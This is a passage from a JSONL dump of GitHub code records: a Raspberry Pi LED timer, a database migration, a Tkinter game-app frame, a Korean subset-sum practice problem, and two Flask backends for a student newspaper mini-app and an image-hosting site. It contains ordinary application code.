time.sleep(0.1)\n for k in pins:\n GPIO.output(k, GPIO.LOW)\n except KeyboardInterrupt:\n GPIO.cleanup()\n\nmain()\n","repo_name":"bor8/blinken-leds","sub_path":"LED_24_timer.py","file_name":"LED_24_timer.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74356644535","text":"from playhouse.migrate import *\n\nmy_db = SqliteDatabase('../data.db')\nmigrator = SqliteMigrator(my_db)\n\nwatchlist = CharField(default='BNB,XLM,EOS,XMR,ETH,LTC,ONT,VET,BAT,ICX,WAN,AST,LRC')\n\nmigrate(\n migrator.add_column('longposition', 'watchlist', watchlist),\n)\n","repo_name":"kdmukai/selective_dca_bot","sub_path":"src/migrations/0001_longposition_add_watchlist.py","file_name":"0001_longposition_add_watchlist.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"22"} +{"seq_id":"24831016413","text":"# -*- coding: utf-8 -*-\nfrom UI.Utility.BasicMainFrame import *\nfrom UI.MyCharacter.CharacterPowerFrame import CharacterPowerFrame\nfrom UI.MyCharacter.CharacterWeaponFrame import CharacterWeaponFrame\n\n\nclass MyCharacterFrame(MainFrame):\n PAGES = ['CharacterPower', 'CharacterWeapon']\n\n def __init__(self, master, **kwargs):\n MainFrame.__init__(self, master, **kwargs)\n self.main_frame = None\n self._init_page_selector_frame()\n self.update_main_frame()\n\n # 用來放置換頁選單，必須置於上層\n def _init_page_selector_frame(self):\n self.page_selector_frame = Frame(self, width=154, height=30)\n self.page_selector_frame.place(x=0, y=0)\n\n # 換頁選單\n self.page_selector = ttk.Combobox(\n self.page_selector_frame, width=14, font=(MS_JH, 10), state='readonly', justify=CENTER)\n self.page_selector['values'] = self.PAGES\n self.page_selector.set(self.PAGES[0])\n self.page_selector.place(x=16, y=4)\n self.page_selector.bind('<>', lambda event: self.update_main_frame())\n\n def update_main_frame(self):\n if self.main_frame is not None:\n self.main_frame.destroy()\n\n if self.page_selector.get() == self.PAGES[0]: # CharacterPower\n self.main_frame = CharacterPowerFrame(self, width=self['width'], height=self['height'])\n elif self.page_selector.get() == self.PAGES[1]: # CharacterWeapon\n self.main_frame = CharacterWeaponFrame(self, width=self['width'], height=self['height'])\n else:\n raise Exception(\"Wrong page selected!\")\n\n self.main_frame.place(x=0, y=0)\n self.main_frame.adjust_size(self['width'], self['height'])\n self.page_selector_frame.tkraise() # 放回上層，避免被遮到\n\n def adjust_size(self, width, height):\n MainFrame.adjust_size(self, width, height)\n if self.main_frame is not None:\n self.main_frame.adjust_size(width, height)\n","repo_name":"YiFanChen99/chain-chronicle","sub_path":"UI/MyCharacter/MyCharacterFrame.py","file_name":"MyCharacterFrame.py","file_ext":"py","file_size_in_byte":2002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39691353905","text":"'''\n1부터 12까지의 숫자를 원소로 가진 집합 A가 있다. 집합 A의 부분 집합 중 N개의 원소를 갖고 있고, 원소의 합이 K인 부분집합의 개수를 출력하는 프로그램을 작성하시오.\n\n해당하는 부분집합이 없는 경우 0을 출력한다. 모든 부분 집합을 만들어 답을 찾아도 된다.\n \n\n예를 들어 N = 3, K = 6 경우, 부분집합은 { 1, 2, 3 } 경우 1가지가 존재한다.\n\n \n \n\n[입력]\n \n\n첫 줄에 테스트 케이스 개수 T가 주어진다. ( 1 ≤ T ≤ 50 )\n \n\n테스트 케이스 별로 부분집합 원소의 수 N과 부분 집합의 합 K가 여백을 두고 주어진다. ( 1 ≤ N ≤ 12, 1 ≤ K ≤ 100 )\n\n \n\n[출력]\n \n\n각 줄마다 \"#T\" (T는 테스트 케이스 번호)를 출력한 뒤, 답을 출력한다.\n'''\n\n# A = [1,2,3,4,5,6,7,8,9,10,11,12]\n# for tc in range(int(input())):\n# N, K = map(int, input().split())\n# for i in range(1< 부분집합들 출력됨\n total += arr[j] # 각 부분집합의 원소들의 ��\n count += 1 # 각 부분집합의 원소의 개수\n if count == N and total == K: # N개의 원소를 갖고, 원소들의 합이 K라면,\n ans += 1 # 조건 충족하는 부분집합 개수 증가\n \n print(f'#{t} {ans}')","repo_name":"No88888888/SWEA","sub_path":"D3/4837.부분집합의합(푸는중).py","file_name":"4837.부분집합의합(푸는중).py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"7749478924","text":"import time\nimport datetime\nimport calendar\nfrom functools import wraps\nfrom collections import OrderedDict\nfrom pypinyin import lazy_pinyin\nfrom flask import Blueprint, current_app, g, abort\nfrom ...models import db, WxUser, Article, WxUserArticle, Reporter, ArticleReporter\nfrom ...core.flask.parser import get_str_field, get_int_field, get_bool_field\nfrom ...core.redis.types import RedisAutoExpiredMap\nfrom ...core.utils import u, xMD5\nfrom ...core.exceptions import MiniappUnauthorized, RequestArgumentError\nfrom .api import jscode2session\n\nbpMiniapp = Blueprint('miniapp', __name__)\n\nutoken_map = None\n\nUTOKEN_EXPIRES = 3600 * 12\nPAGE_SIZE = 8\n\nQINIU_IMAGE_PREFIX = \"https://qiniu.rabbitzxh.top/pkuyouth\"\n\nAPP_CONFIG = {\n \"prefix\": {\n \"column\": QINIU_IMAGE_PREFIX + \"/column_cover/\",\n \"sm_cover\": QINIU_IMAGE_PREFIX + \"/sm_cover/\",\n \"bg_cover\": QINIU_IMAGE_PREFIX + \"/bg_cover/\"\n },\n \"app_info\": {\n \"name\": \"北大青年\",\n \"version\": \"2.0.0\",\n }\n}\n\nINDEX_COL_DESC = [\n {\n \"id\": 0,\n \"cover\": QINIU_IMAGE_PREFIX + '/bg_cover/26508266021.jpeg',\n \"title\": '随便看看',\n \"desc\": '随意翻翻北青的文章',\n \"path\": '/pages/collection-random/collection-random',\n },\n {\n \"id\": 1,\n \"cover\": QINIU_IMAGE_PREFIX + '/bg_cover/26508283011.jpeg',\n \"title\": '热文排行',\n \"desc\": '看看那些阅读量最高的文章',\n \"path\": '/pages/collection-hot/collection-hot',\n },\n {\n \"id\": 2,\n \"cover\": QINIU_IMAGE_PREFIX + '/bg_cover/26508251861.jpeg',\n \"title\": '还有更多',\n \"desc\": '主编们正在努力整理 ...',\n \"path\": '',\n }\n]\n\nCOLUMNS_LIST = OrderedDict({\n \"调查\": \"只做好一件事——刨根问底\",\n \"人物\": \"今天载了位了不得的人物\",\n \"特稿\": \"不停留在表面\",\n \"视界\": \"一览众山小\",\n \"光阴\": \"不忘初心，继续前进\",\n \"姿势\": \"干货、湿货、杂货，老司机带你涨姿势\",\n \"言己\": \"说出你的故事\",\n \"又见\": \"如果在异乡，一个旅人\",\n \"雕龙\": \"操千曲而后晓声，观千剑而后识器\",\n \"评论\": \"条条大路，众生喧哗\",\n \"摄影\": \"我为了把你拍得更漂亮嘛～\",\n \"图说\": \"边走边看\",\n \"机动\": \"说走就走，想停就停；可以跑高速，亦可钻胡同\",\n \"现场\": \"一车载你直达热点\",\n \"对话\": \"听见你的声音\",\n \"纪念\": \"为了未来，收藏过去\",\n \"节日\": \"今天应该很高兴\",\n \"新年献词\": \"新时代，新青年\",\n # \"翻译\": \"null\",\n})\n\ndef init_utoken_map():\n\n global utoken_map\n\n if utoken_map is not None:\n return\n\n utoken_map = RedisAutoExpiredMap(\n namespace=current_app.config['CACHE_KEY_PREFIX'] + \"miniapp_utk\",\n expires=UTOKEN_EXPIRES,\n )\n\ndef generate_utoken(openid, session_key):\n return xMD5(\"%s:%s:%s\" % (openid, session_key, int(time.time() * 1000)))\n\ndef get_range(page, size):\n page = max(page, 1)\n return ((page - 1) * size, page * size)\n\n\ndef verify_utoken(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n\n init_utoken_map()\n\n utoken = get_str_field('utoken')\n openid = utoken_map[utoken]\n\n if openid is None:\n raise MiniappUnauthorized(\"Invalid utoken\")\n\n g.openid = u(openid)\n\n ret = func(*args, **kwargs)\n\n return ret\n return wrapper\n\n\n@bpMiniapp.route('/', methods=[\"GET\",\"POST\"])\ndef root():\n abort(404)\n\n\n@bpMiniapp.route('/login', methods=[\"POST\"])\ndef login():\n \"\"\"\n Method POST\n JSON:\n - js_code str\n Return:\n - errcode int\n - utoken str\n - setting dict\n - auto_change_card bool\n - use_small_card bool\n - config dict\n\n \"\"\"\n init_utoken_map()\n\n js_code = get_str_field('js_code')\n openid, session_key = jscode2session(js_code)\n\n utoken = generate_utoken(openid, session_key)\n utoken_map[utoken] = openid\n\n user = WxUser.query.get(openid)\n\n if user is None:\n user = WxUser(openid)\n db.session.add(user)\n db.session.commit()\n\n return {\n \"errcode\": 0,\n \"utoken\": utoken,\n \"setting\": {\n \"auto_change_card\": user.auto_change_card,\n \"use_small_card\": user.use_small_card,\n },\n \"config\": APP_CONFIG,\n }\n\n\n@bpMiniapp.route('/get_col_desc', methods=[\"GET\"])\n@verify_utoken\ndef get_col_desc():\n \"\"\"\n Method GET\n Args:\n - utoken str\n Return:\n - errcode int\n - col_desc [dict]\n - id int\n - cover str\n - title str\n - desc str\n - path str\n\n \"\"\"\n return {\n \"errcode\": 0,\n \"col_desc\": INDEX_COL_DESC,\n }\n\n\n@bpMiniapp.route('/get_col_random', methods=[\"GET\"])\n@verify_utoken\ndef get_col_random():\n \"\"\"\n Method GET\n Args:\n - utoken str\n Return:\n - errcode int\n - articles [dict]\n\n \"\"\"\n openid = g.openid\n\n sbq1 = db.session.\\\n query(Article.aid).\\\n filter(Article.hidden == 0).\\\n order_by(db.func.rand()).\\\n limit(PAGE_SIZE).\\\n subquery()\n\n sbq2 = WxUserArticle.query.\\\n filter(WxUserArticle.openid == openid).\\\n subquery()\n\n articles = db.session.\\\n query(\n Article.aid,\n Article.appmsgid,\n Article.idx,\n Article.sn,\n Article.title,\n Article.masssend_time,\n Article.cover_url,\n Article.read_num,\n Article.like_num,\n Article.hidden,\n sbq2.c.ctime.label('star_time'),\n ).\\\n join(sbq1, sbq1.c.aid == Article.aid).\\\n outerjoin(sbq2, sbq2.c.aid == Article.aid).\\\n all()\n\n return {\n \"errcode\": 0,\n \"articles\": [ a._asdict() for a in articles ]\n }\n\n\n@bpMiniapp.route('/get_latest_articles', methods=[\"GET\"])\n@verify_utoken\ndef get_latest_articles():\n \"\"\"\n Method GET\n Args:\n - utoken str\n Return:\n - errcode int\n - articles [dict]\n\n \"\"\"\n openid = g.openid\n\n sbq = db.session.\\\n query(Article.aid).\\\n filter(Article.hidden == 0).\\\n order_by(Article.masssend_time.desc()).\\\n limit(PAGE_SIZE).\\\n subquery()\n\n articles = db.session.\\\n query(\n Article.aid,\n Article.appmsgid,\n Article.idx,\n Article.sn,\n Article.title,\n Article.read_num,\n Article.like_num,\n Article.masssend_time,\n Article.cover_url\n ).\\\n join(sbq, sbq.c.aid == Article.aid).\\\n order_by(\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n all()\n\n return {\n \"errcode\": 0,\n \"articles\": [ a._asdict() for a in articles ]\n }\n\n\n@bpMiniapp.route('/get_col_hot', methods=[\"GET\"])\n@verify_utoken\ndef get_col_hot():\n \"\"\"\n Method GET\n Args:\n - utoken str\n - page int\n Return:\n - errcode int\n - articles [dict]\n\n \"\"\"\n openid = g.openid\n page = get_int_field('page')\n st, ed = get_range(page, PAGE_SIZE)\n\n sbq1 = db.session.\\\n query(Article.aid).\\\n filter(Article.hidden == 0).\\\n order_by(\n Article.read_num.desc(),\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n slice(st, ed).\\\n subquery()\n\n sbq2 = WxUserArticle.query.\\\n filter(WxUserArticle.openid == openid).\\\n subquery()\n\n articles = db.session.\\\n query(\n Article.aid,\n Article.appmsgid,\n Article.idx,\n Article.sn,\n Article.title,\n Article.masssend_time,\n Article.cover_url,\n Article.read_num,\n Article.like_num,\n Article.hidden,\n sbq2.c.ctime.label('star_time'),\n ).\\\n join(sbq1, sbq1.c.aid == Article.aid).\\\n outerjoin(sbq2, sbq2.c.aid == Article.aid).\\\n order_by(\n Article.read_num.desc(),\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n all()\n\n return {\n \"errcode\": 0,\n \"articles\": [ a._asdict() for a in articles ]\n }\n\n\n@bpMiniapp.route('/get_column_list', methods=[\"GET\"])\n@verify_utoken\ndef get_column_list():\n \"\"\"\n Method GET\n Args:\n - utoken str\n Return:\n - errcode int\n - columns [dict]\n - id int\n - title str\n - desc str\n - cover str\n - article_count int\n\n \"\"\"\n columns = list(COLUMNS_LIST.keys())\n\n rlist = db.session.\\\n query(\n Article.column,\n db.func.count(Article.aid).label('count'),\n ).\\\n filter(Article.hidden == 0).\\\n filter(Article.column.in_(columns)).\\\n group_by(Article.column).\\\n all()\n\n counter = { r.column: r.count for r in rlist }\n\n return {\n \"errcode\": 0,\n \"columns\": [\n {\n \"id\": ix,\n \"title\": title,\n \"desc\": desc,\n \"cover\": \"%s.jpg\" % ''.join(lazy_pinyin(title)),\n \"article_count\": counter.get(title, 0),\n }\n for ix, (title, desc) in enumerate(COLUMNS_LIST.items())\n ],\n }\n\n\n@bpMiniapp.route('/get_column_articles', methods=[\"GET\"])\n@verify_utoken\ndef get_column_articles():\n \"\"\"\n Method GET\n Args:\n - utoken str\n - column str\n - page int if page == 0, return all articles in this column\n Return:\n - errcode int\n - articles [dict]\n\n \"\"\"\n openid = g.openid\n column = get_str_field('column', limited=COLUMNS_LIST)\n page = get_int_field('page')\n\n sbq1 = db.session.\\\n query(Article.aid).\\\n filter(Article.hidden == 0).\\\n filter(Article.column == column).\\\n order_by(\n Article.masssend_time.desc(),\n Article.idx.asc(),\n )\n\n if page != 0:\n st, ed = get_range(page, PAGE_SIZE)\n sbq1 = sbq1.slice(st, ed)\n\n sbq1 = sbq1.subquery()\n\n sbq2 = WxUserArticle.query.\\\n filter(WxUserArticle.openid == openid).\\\n subquery()\n\n articles = db.session.\\\n query(\n Article.aid,\n Article.appmsgid,\n Article.idx,\n Article.sn,\n Article.title,\n Article.masssend_time,\n Article.cover_url,\n Article.read_num,\n Article.like_num,\n Article.hidden,\n sbq2.c.ctime.label('star_time'),\n ).\\\n join(sbq1, sbq1.c.aid == Article.aid).\\\n outerjoin(sbq2, sbq2.c.aid == Article.aid).\\\n order_by(\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n all()\n\n return {\n \"errcode\": 0,\n \"articles\": [ a._asdict() for a in articles ]\n }\n\n\n@bpMiniapp.route('/get_date_range', methods=[\"GET\"])\n@verify_utoken\ndef get_date_range():\n \"\"\"\n Method GET\n Args:\n - utoken str\n\n \"\"\"\n rlist = db.session.\\\n query(\n db.func.min(Article.masssend_time),\n db.func.max(Article.masssend_time)\n ).\\\n first()\n\n st, ed = map(lambda t: time.strftime(\"%Y-%m-%d\", time.localtime(t)), rlist)\n\n return {\n \"errcode\": 0,\n \"range\": {\n \"start\": st,\n \"end\": ed,\n }\n }\n\n\n@bpMiniapp.route('/search_reporters', methods=[\"GET\"])\n@verify_utoken\ndef search_reporters():\n \"\"\"\n Method GET\n Args:\n - utoken str\n - keyword str\n Return:\n - errcode int\n - reporters [dict]\n - name str\n - articles [int]\n\n \"\"\"\n keyword = get_str_field(\"keyword\")\n\n names = [ name.strip() for name in keyword.split() if len(name.strip()) > 0 ]\n\n sbq = db.session.\\\n query(Article.aid).\\\n filter(Article.hidden == 0).\\\n subquery()\n\n reporters = db.session.\\\n query(\n Reporter.name,\n db.func.count(sbq.c.aid).label('article_count'),\n ).\\\n join(ArticleReporter, ArticleReporter.rid == Reporter.rid).\\\n join(sbq, sbq.c.aid == ArticleReporter.aid).\\\n filter(Reporter.name.in_(names)).\\\n group_by(Reporter.rid).\\\n order_by(db.desc('article_count')).\\\n all()\n\n return {\n \"errcode\": 0,\n \"reporters\": [ r._asdict() for r in reporters ],\n }\n\n\n@bpMiniapp.route('/get_reporter_articles', methods=[\"GET\"])\n@verify_utoken\ndef get_reporter_articles():\n \"\"\"\n Method GET\n Args:\n - utoken str\n - name str\n - page int if page == 0, return all articles in this column\n Return:\n - errcode int\n - articles [dict]\n\n \"\"\"\n openid = g.openid\n name = get_str_field('name')\n page = get_int_field('page')\n\n sbq1 = db.session.\\\n query(Article.aid).\\\n join(ArticleReporter, ArticleReporter.aid == Article.aid).\\\n join(Reporter, Reporter.rid == ArticleReporter.rid).\\\n filter(Reporter.name == name).\\\n filter(Article.hidden == 0).\\\n order_by(\n Article.masssend_time.desc(),\n Article.idx.asc(),\n )\n\n if page != 0:\n st, ed = get_range(page, PAGE_SIZE)\n sbq1 = sbq1.slice(st, ed)\n\n sbq1 = sbq1.subquery()\n\n sbq2 = WxUserArticle.query.\\\n filter(WxUserArticle.openid == openid).\\\n subquery()\n\n articles = db.session.\\\n query(\n Article.aid,\n Article.appmsgid,\n Article.idx,\n Article.sn,\n Article.title,\n Article.masssend_time,\n Article.cover_url,\n Article.read_num,\n Article.like_num,\n Article.hidden,\n sbq2.c.ctime.label('star_time'),\n ).\\\n join(sbq1, sbq1.c.aid == Article.aid).\\\n outerjoin(sbq2, sbq2.c.aid == Article.aid).\\\n order_by(\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n all()\n\n return {\n \"errcode\": 0,\n \"articles\": [ a._asdict() for a in articles ],\n }\n\n\n@bpMiniapp.route('/search_articles_by_date', methods=[\"GET\"])\n@verify_utoken\ndef search_articles_by_date():\n \"\"\"\n Method GET\n Args:\n - utoken str\n - date str\n - level str options: ('month','day')\n Return:\n - errcode int\n - articles [dict]\n\n \"\"\"\n openid = g.openid\n date = get_str_field('date')\n level = get_str_field('level', limited=['month','day'])\n\n try:\n dt = datetime.datetime.strptime(date, '%Y-%m-%d')\n except ValueError as e:\n raise RequestArgumentError(\"Invalid date %s\" % date)\n\n if level == 'month':\n st = datetime.datetime(dt.year, dt.month, 1)\n span = calendar.monthrange(dt.year, dt.month)[1]\n else:\n st = dt\n span = 1\n\n ed = st + datetime.timedelta(span)\n st, ed = map(lambda dt: int(dt.timestamp()), [st, ed])\n\n sbq1 = db.session.\\\n query(Article.aid).\\\n filter(Article.hidden == 0).\\\n filter(Article.masssend_time.between(st, ed)).\\\n order_by(\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n subquery()\n\n sbq2 = WxUserArticle.query.\\\n filter(WxUserArticle.openid == openid).\\\n subquery()\n\n articles = db.session.\\\n query(\n Article.aid,\n Article.appmsgid,\n Article.idx,\n Article.sn,\n Article.title,\n Article.masssend_time,\n Article.cover_url,\n Article.read_num,\n Article.like_num,\n Article.hidden,\n sbq2.c.ctime.label('star_time'),\n ).\\\n join(sbq1, sbq1.c.aid == Article.aid).\\\n outerjoin(sbq2, sbq2.c.aid == Article.aid).\\\n order_by(\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n all()\n\n return {\n \"errcode\": 0,\n \"articles\": [ a._asdict() for a in articles ],\n }\n\n\n@bpMiniapp.route('/search_articles_by_keyword', methods=[\"GET\"])\n@verify_utoken\ndef search_articles_by_keyword():\n \"\"\"\n Method GET\n Args:\n - utoken str\n - keyword str\n - filter str options: ('all','favorite')/column/reporter\n - page int\n Return:\n - errcode int\n - articles [dict]\n\n \"\"\"\n openid = g.openid\n keyword = get_str_field('keyword')\n ft = get_str_field('filter')\n page = get_int_field('page')\n st, ed = get_range(page, PAGE_SIZE)\n\n sbq1 = db.session.\\\n query(\n Article.aid,\n db.fts_match(\n Article.ix_text,\n keyword,\n db.fts_match.BOOLEAN\n ).label('score')\n )\n\n if ft == 'all':\n pass\n\n elif ft == 'favorite':\n sbq1 = sbq1.\\\n join(WxUserArticle).\\\n filter(WxUserArticle.openid == openid)\n\n elif ft in COLUMNS_LIST:\n sbq1 = sbq1.\\\n filter(Article.column == ft)\n\n else:\n sbq1 = sbq1.\\\n join(ArticleReporter, ArticleReporter.aid == Article.aid).\\\n join(Reporter, Reporter.rid == ArticleReporter.rid).\\\n filter(Reporter.name == ft)\n\n sbq1 = sbq1.\\\n filter(Article.hidden == 0).\\\n order_by(\n db.desc('score'),\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n slice(st, ed).\\\n subquery()\n\n sbq2 = WxUserArticle.query.\\\n filter(WxUserArticle.openid == openid).\\\n subquery()\n\n articles = db.session.\\\n query(\n Article.aid,\n Article.appmsgid,\n Article.idx,\n Article.sn,\n Article.title,\n Article.masssend_time,\n Article.cover_url,\n Article.read_num,\n Article.like_num,\n Article.hidden,\n sbq2.c.ctime.label('star_time'),\n ).\\\n join(sbq1, sbq1.c.aid == Article.aid).\\\n outerjoin(sbq2, sbq2.c.aid == Article.aid).\\\n order_by(\n sbq1.c.score.desc(),\n Article.masssend_time.desc(),\n Article.idx.asc(),\n ).\\\n all()\n\n return {\n \"errcode\": 0,\n \"articles\": [ a._asdict() for a in articles ]\n }\n\n\n@bpMiniapp.route('/get_starred_articles', methods=[\"GET\"])\n@verify_utoken\ndef get_starred_articles():\n \"\"\"\n Method GET\n Args:\n - utoken str\n - page int\n\n \"\"\"\n openid = g.openid\n page = get_int_field('page')\n\n sbq = db.session.\\\n query(\n Article.aid,\n WxUserArticle.ctime,\n ).\\\n join(WxUserArticle).\\\n filter(WxUserArticle.openid == openid).\\\n filter(Article.hidden == 0).\\\n order_by(WxUserArticle.ctime.desc())\n\n if page != 0:\n st, ed = get_range(page, PAGE_SIZE)\n sbq = sbq.slice(st, ed)\n\n sbq = sbq.subquery()\n\n articles = db.session.\\\n query(\n Article.aid,\n Article.appmsgid,\n Article.idx,\n Article.sn,\n Article.title,\n Article.masssend_time,\n Article.cover_url,\n Article.read_num,\n Article.like_num,\n Article.hidden,\n sbq.c.ctime.label('star_time'),\n ).\\\n join(sbq, sbq.c.aid == Article.aid).\\\n order_by(db.desc('star_time')).\\\n all()\n\n return {\n \"errcode\": 0,\n \"articles\": [ a._asdict() for a in articles ]\n }\n\n\n@bpMiniapp.route('/star_article', methods=[\"POST\"])\n@verify_utoken\ndef star_article():\n \"\"\"\n Method POST\n JSON:\n - utoken str\n - aid int\n - action str options: ('star','unstar')\n Return:\n - errcode int\n\n \"\"\"\n openid = g.openid\n aid = get_int_field('aid')\n action = get_str_field('action', limited=['star','unstar'])\n\n ret = db.session.\\\n query(Article.aid).\\\n filter(Article.hidden == 0).\\\n filter(Article.aid == aid).\\\n first()\n\n if ret is None:\n raise RequestArgumentError(\"Article %d was not found\" % aid)\n\n ua = WxUserArticle.query.\\\n filter(WxUserArticle.aid == aid).\\\n filter(WxUserArticle.openid == openid).\\\n first()\n\n if action == 'star' and ua is None:\n ua = WxUserArticle(openid, aid)\n db.session.add(ua)\n db.session.commit()\n\n if action == 'unstar' and ua is not None:\n db.session.delete(ua)\n db.session.commit()\n\n return {\n \"errcode\": 0\n }\n\n\n@bpMiniapp.route('/change_setting', methods=[\"POST\"])\n@verify_utoken\ndef change_setting():\n \"\"\"\n Method POST\n JSON:\n - utoken str\n - key str\n - value bool\n Return:\n - errcode int\n\n \"\"\"\n openid = g.openid\n key = get_str_field('key')\n value = get_bool_field('value')\n\n user = WxUser.query.get(openid)\n\n if key == 'auto_change_card':\n user.auto_change_card = value\n elif key == 'use_small_card':\n user.use_small_card = value\n else:\n raise RequestArgumentError(\"Invalid setting key %s\" % key)\n\n db.session.commit()\n\n return {\n \"errcode\": 0\n }\n","repo_name":"pkuyouth/pkuyouth-webserver-v2","sub_path":"app/blueprints/miniapp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":22741,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"20923713573","text":"# coding: utf-8\nimport os\nimport time\nimport urllib\n\nfrom flask import render_template, redirect, url_for, session, flash, request\nfrom PIL import Image\n\nfrom . import home\nfrom ..models import db, UsersInfo, WebConfig, Images\nfrom ..forms import BaseSettingForm\n\n\n@home.route('/my', methods=['GET'])\ndef my_main_view():\n if session.get('is_login') is None or not session.get('is_login'):\n flash(u'请先登录！', 'danger')\n return redirect(url_for('user.login'))\n\n data = {\n 'title': 'Personal Center',\n }\n\n return render_template('home/my.html', data=data)\n\n\n@home.route('/my_basic_info')\ndef my_basic_info():\n if session.get('is_login') is None or not session.get('is_login'):\n flash(u'请先登录！', 'danger')\n return redirect(url_for('user.login'))\n\n current_user_id = session.get('user_id')\n user_info = UsersInfo.query.filter_by(user_id=current_user_id).first()\n if user_info is None or not user_info:\n return redirect(url_for('error.e500'))\n\n already_register_time = (int(time.time()) - int(user_info.register_time))\n date_array = time.localtime(float(user_info.last_login_time))\n user_info.last_login_time = time.strftime('%Y-%m-%d %H:%M', date_array)\n\n images = Images.query.filter_by(upload_user_id=current_user_id).all()\n\n data = {\n 'title': '',\n 'last_login_time': user_info.last_login_time,\n 'qiniu_have_account': user_info.qiniu_have_account,\n 'last_login_ip': user_info.last_login_ip,\n 'already_register_time': (already_register_time/(3600*24))+1,\n 'images_number': len(images),\n }\n\n return render_template('home/my_basic_info.html', data=data)\n\n\n@home.route('/my_basic_setting', methods=['GET', 'POST'])\ndef my_basic_setting():\n if session.get('is_login') is None or not session.get('is_login'):\n flash(u'请先登录！', 'danger')\n return redirect(url_for('user.login'))\n\n basic_setting_form = BaseSettingForm()\n\n is_allow_no_qiniu_key = WebConfig.query.filter_by(config_name='is_allow_no_qiniu_key').first()\n default_upload_count = WebConfig.query.filter_by(config_name='default_upload_count').first()\n\n data = {\n 'form': basic_setting_form,\n }\n\n if is_allow_no_qiniu_key.config_value == '1':\n data['is_allow_no_qiniu_key'] = is_allow_no_qiniu_key.config_value\n data['default_upload_count'] = default_upload_count.config_value\n\n current_user_id = session.get('user_id')\n users_info = UsersInfo.query.filter_by(user_id=current_user_id).first_or_404()\n\n if users_info.qiniu_have_account == 0:\n data['qiniu_have_account'] = 1\n else:\n data['current_access_key'] = users_info.qiniu_access_key\n data['current_secret_key'] = users_info.qiniu_secret_key\n data['current_bucket_name'] = users_info.qiniu_bucket_name\n data['current_domain'] = users_info.qiniu_domain\n\n if request.method == 'POST':\n\n is_have_account = request.form.get('is_have_account')\n access_key = request.form.get('access_key').strip()\n secret_key = request.form.get('secret_key').strip()\n bucket_name = request.form.get('bucket_name').strip()\n domain = request.form.get('domain').strip()\n\n if is_have_account is None or not is_have_account:\n # use user's qiniu account\n users_info.qiniu_have_account = 1\n users_info.qiniu_access_key = access_key\n users_info.qiniu_secret_key = secret_key\n users_info.qiniu_bucket_name = bucket_name\n if domain[:7] == 'http://':\n domain = domain[7:]\n elif domain[:8] == 'https://':\n domain = domain[8:]\n users_info.qiniu_domain = domain\n session['qiniu_have_account'] = 1\n\n else:\n # use system qiniu account\n default_access_key = WebConfig.query.filter_by(config_name='default_access_key').first()\n default_secret_key = WebConfig.query.filter_by(config_name='default_secret_key').first()\n default_bucket_name = WebConfig.query.filter_by(config_name='default_bucket_name').first()\n default_domain = WebConfig.query.filter_by(config_name='default_domain').first()\n\n if default_access_key is None or default_secret_key is None or default_bucket_name is None:\n return '
    系统配置错误！
    '\n\n users_info.qiniu_have_account = 0\n users_info.qiniu_access_key = default_access_key.config_value\n users_info.qiniu_secret_key = default_secret_key.config_value\n users_info.qiniu_bucket_name = default_bucket_name.config_value\n users_info.qiniu_domain = default_domain.config_value\n session['qiniu_have_account'] = 0\n\n db.session.add(users_info)\n db.session.commit()\n return '
    保存成功！
    '\n\n return render_template('home/my_basic_setting.html', data=data)\n\n\n@home.route('/my_images/')\ndef my_images(page=1):\n if session.get('is_login') is None or not session.get('is_login'):\n flash(u'请先登录！', 'danger')\n return redirect(url_for('user.login'))\n\n tid = session.get('user_id')\n if tid is None or not tid:\n return redirect(url_for('error.e500'))\n\n thumbnail_dir = 'tmp/' + session.get('username') + '/'\n if not os.path.exists(thumbnail_dir):\n os.mkdir(thumbnail_dir)\n images = Images.query.filter_by(upload_user_id=tid).\\\n order_by(Images.upload_time.desc()).paginate(page, per_page=5, error_out=False)\n\n for image in images.items:\n # update time format\n date_array = time.localtime(float(image.upload_time))\n image.upload_time = time.strftime('%Y-%m-%d %H:%M:%S', date_array)\n # get thumbnail file, if not exists, get exists from qiniu\n if not os.path.exists(thumbnail_dir + image.filename):\n # get file from qiniu\n wp = urllib.urlopen(image.link)\n content = wp.read()\n wp.close()\n with open('tmp/'+image.filename, 'wb') as ff:\n ff.write(content)\n im = Image.open('tmp/'+image.filename)\n im.thumbnail((128, 128))\n im.save(thumbnail_dir + image.filename)\n os.remove('tmp/'+image.filename)\n\n data = {\n 'pagination': images,\n 'images': images.items,\n 'thumbnail_url': request.host_url + 'thumbnail/',\n 'username': session.get('username'),\n 'current_page': page,\n }\n\n return render_template('home/my_images.html', data=data)\n\n\n@home.route('/my_help')\ndef my_help():\n if session.get('is_login') is None or not session.get('is_login'):\n flash(u'请先登录！', 'danger')\n return redirect(url_for('user.login'))\n\n data = {\n 'title': '',\n }\n\n return render_template('home/my_help.html', data=data)\n\n\n@home.route('/my_edit_image/')\ndef my_edit_image(image_id):\n if session.get('is_login') is None or not session.get('is_login'):\n flash(u'请先登录！', 'danger')\n return redirect(url_for('user.login'))\n data = {\n 'title': '',\n 'back_page': '',\n }\n\n current_user_id = session.get('user_id')\n current_username = session.get('username')\n if current_user_id is None or not current_user_id:\n return redirect(url_for('error.e404'))\n if current_username is None or not current_username:\n return redirect(url_for('error.e404'))\n\n image = Images.query.filter_by(upload_user_id=current_user_id, image_id=image_id).first_or_404()\n if image.upload_user_id != current_user_id:\n return redirect(url_for('error.e404'))\n\n data['img_id'] = image.image_id\n data['img_title'] = image.title\n data['img_description'] = image.description\n data['img_link'] = image.link\n data['img_filename'] 